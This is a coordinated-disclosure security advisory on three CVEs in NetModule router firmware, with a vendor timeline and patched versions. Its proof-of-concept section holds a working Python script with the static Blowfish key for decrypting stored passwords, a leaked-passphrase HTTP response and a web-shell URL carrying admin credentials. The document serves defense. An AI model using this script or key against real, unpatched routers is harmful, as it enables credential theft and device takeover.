=======================================================================
title: Multiple Vulnerabilities in NetModule Router Software
product: NetModule Router Software (NRSW)
vulnerable version: Before 4.3.0.113, 4.4.0.111, 4.5.0.105
fixed version: 4.3.0.113, 4.4.0.111, 4.5.0.105
CVE number: CVE-2021-39289, CVE-2021-39290, CVE-2021-39291
impact: High
homepage: https://www.netmodule.com/en/
found: 2021-05-05
by: SEC Consult Vulnerability Lab
These vulnerabilities were discovered during the research
cooperation initiative "OT Cyber Security Lab" between
Verbund AG and SEC Consult Group.
Gerhard Hechenberger (Office Vienna)
Steffen Robertz (Office Vienna)
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"NetModule is a leading manufacturer of communication products for
M2M and IoT.
One focus is on our solutions for applications in the fields of
shipping, local
and long-distance public transit, and Industrial Internet. Future
markets such
as Smart City, public safety, and sustainable energy and resource
management
are further focus areas. The key technology here is 5G.
Our devices are certified and include the latest wireless
technologies along
with multiple interfaces for applications where robust
communication is
essential, such as information systems, driver communication,
passenger WiFi,
remote maintenance, condition monitoring, and real-time data
exchange."
Source: https://www.netmodule.com/en/about-netmodule/portrait
"Our Linux-based router software ensures reliable data
connections with a wide
range of network functions and smart link management – stationary
and mobile.
Configuration and update options for secure operation throughout
the product
life cycle and over-the-air complete the package. As a special
service, we
offer you free updates and support."
"The NetModule router software (NRSW) is our standard software
and runs on all
our devices. This has the advantage of being able to use
identical
configuration processes and functions for every router (unless
technical
restrictions dictate otherwise). It is based on proven components
such as
Embedded Linux and a powerful communication protocol suite."
Source: https://www.netmodule.com/en/products/software-overview/router-software
Business recommendation:
------------------------
The vendor provides patches, which should be installed
immediately.
SEC Consult recommends to perform a thorough security review of
these
products conducted by security professionals to identify and
resolve potential
further security issues.
We want to thank NetModule for the very professional response
and great
cooperation.
Vulnerability overview/description:
-----------------------------------
1) Insecure Password Handling (CVE-2021-39289)
The device is storing passwords in an insecure way. For some of
them, e.g.,
user accounts, password storage is an optional feature. For others,
e.g., the
certificate password, configuration possibilities do not exist.
* Storing and sending passwords as cleartext
* Storing passwords symmetrically encrypted with a static key
2) Limited Session Fixation via Cookie (CVE-2021-39290)
An arbitrary session token cookie value can be used on the web
interface. If
a session token with an arbitrary value is available, the device
does not
create a new one during the login process. Also, after the logout,
no new
session token will be issued. An attacker which is able to create
cookies on
the victim's client (via potential HTTP Response Splitting,
Malware, physical
access, ...) can use this to take over the session of the
victim.
3) Insecure Feature (Web CLI) (CVE-2021-39291)
The interface supports an optional "CLI-PHP" feature, which is
essentially a
PHP webshell. Authentication is needed and the credentials can be
sent
as GET parameters. As GET parameters are part of the URL and URLs
are
frequently stored, this may enable attackers with access to such
logs to take
over the used account.
Proof of concept:
-----------------
1) Insecure Password Handling (CVE-2021-39289)
* Storing and sending passwords as cleartext
The certificate settings are located at
SYSTEM -> Keys & Certificates -> Configuration. When visiting
the following
URL, the certificate password will be included in cleartext in the
response:
http://<IP-address>/admin/certificates.php?action=configure
Find the response below:
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.31
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-type: text/html; charset=ISO-8859-1
Connection: close
Date: Mon, 26 Apr 2021 07:20:26 GMT
Server: lighttpd/1.4.39
Content-Length: 25448
[...]
<td class="c2_left">Passphrase:</td>
<td class="c2_right">
<input type="password" id="phrase" name="phrase" size=20
value="password12"
>
</td>
[...]
-------------------------------------------------------------------------------
Additionally, the password is stored in cleartext in the file
/etc/default/cert-settings on the device, the line reads:
PHRASE="password12"
* Storing passwords symmetrically encrypted with a static
key
The passwords are stored in the configuration file on the device,
which can
also be downloaded at SYSTEM -> File Configuration ->
Download. The downloaded
ZIP file will contain a *.cfg file, which includes several
encrypted passwords
(the values are prefixed with "[enc]", e.g.:
cer.settings.phrase=[enc]UauZghllTu7Jy7pF3mdkFA==
wwan.0.password=[enc]UauZghllTu7Jy7pF3mdkFA==
user.0.password=[enc]UauZghllTu7Jy7pF3mdkFA==
The used encryption is Blowfish CBC with a static key and
initialization
vector, therefore, the passwords can easily be decrypted. This can
be done with
the following script:
-------------------------------------------------------------------------------
#!/usr/bin/env python3
import sys
import base64
from Crypto.Cipher import Blowfish
data_b64 = sys.argv[1]
key =
b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
iv = b"\x00\x00\x00\x00\x00\x00\x00\x00"
cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
data_enc = base64.b64decode(data_b64)
data_pad = cipher.decrypt(data_enc)
num_pad = int(data_pad[-1])
data = data_pad[:-num_pad]
print(data)
-------------------------------------------------------------------------------
The value in the configuration file can be decrypted as
follows:
-------------------------------------------------------------------------------
$ ./netmodule_config_decrypt.py UauZghllTu7Jy7pF3mdkFA==
b'password12'
-------------------------------------------------------------------------------
2) Limited Session Fixation via Cookie (CVE-2021-39290)
The session token is stored as cookie named "PHPSESSID". To show
the issue,
execute the following steps:
* Set the "PHPSESSID" cookie in scope of the web interface to an
arbitrary
value while logged out.
* Log in. Observe that the cookie remains unchanged.
* Log out. Observe that the cookie remains unchanged.
3) Insecure Feature (Web CLI) (CVE-2021-39291)
The Web CLI can be enabled at SERVICES -> Web Server ->
Enable CLI-PHP.
It is available and can be used at the following URL:
http://<IP-address>/cli.php?command=status&usr=admin&pwd=password12
Vulnerable / tested versions:
-----------------------------
The following firmware/device has been tested:
* NetModule NB1600: Firmware version 4.3.0.110 LTS
According to the vendor, the following models with firmware
versions before
4.3.0.113, 4.4.0.111 and 4.5.0.105 are affected:
* NB800
* NB1600
* NB1601
* NB1800
* NB1810
* NB2700
* NB2710
* NB2800
* NB2810
* NB3700
* NB3701
* NB3710
* NB3711
* NB3720
* NB3800
Vendor contact timeline:
------------------------
2021-05-25: Contacting vendor through
for security contact information. Set release date to
2021-07-14. Received vendor response concerning further steps.
2021-05-26: Advisory was transmitted to head of PM and
acknowledged.
2021-06-16: In a call, the vendor acknowledges the findings and
ensures to
keep us updated on the upcoming release of a fixed firmware
version.
2021-07-23: The vendor provides information on the release of a
fixed
firmware version on 2021-07-04.
2021-08-10: The vendor was notified about the pending release.
2021-08-19: The vendor provides information on all supported and
fixed
major releases.
2021-08-20: Coordinated release of security advisory.
Solution:
---------
Update the affected devices to software version 4.3.0.113,
4.4.0.111 or
4.5.0.105. Additionally, do not use insecure features and pay close
attention
to warning messages during the configuration.
For more information see vendor's release notes:
https://share.netmodule.com/public/system-software/4.3/4.3.0.113/NRSW-RN-4.3.0.113.pdf
https://share.netmodule.com/public/system-software/4.4/4.4.0.111/NRSW-RN-4.4.0.111.pdf
https://share.netmodule.com/public/system-software/4.5/4.5.0.105/NRSW-RN-4.5.0.105.pdf
Workaround:
-----------
None.
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC
Consult, an
Atos company. It ensures the continued knowledge gain of SEC
Consult in the
field of network and application security to stay ahead of the
attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration
testing and
the evaluation of new offensive and defensive technologies for our
customers.
Hence our customers obtain the most current information about
vulnerabilities
and valid recommendation about the risk profile of new
technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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EOF Gerhard Hechenberger, Steffen Robertz / @2021
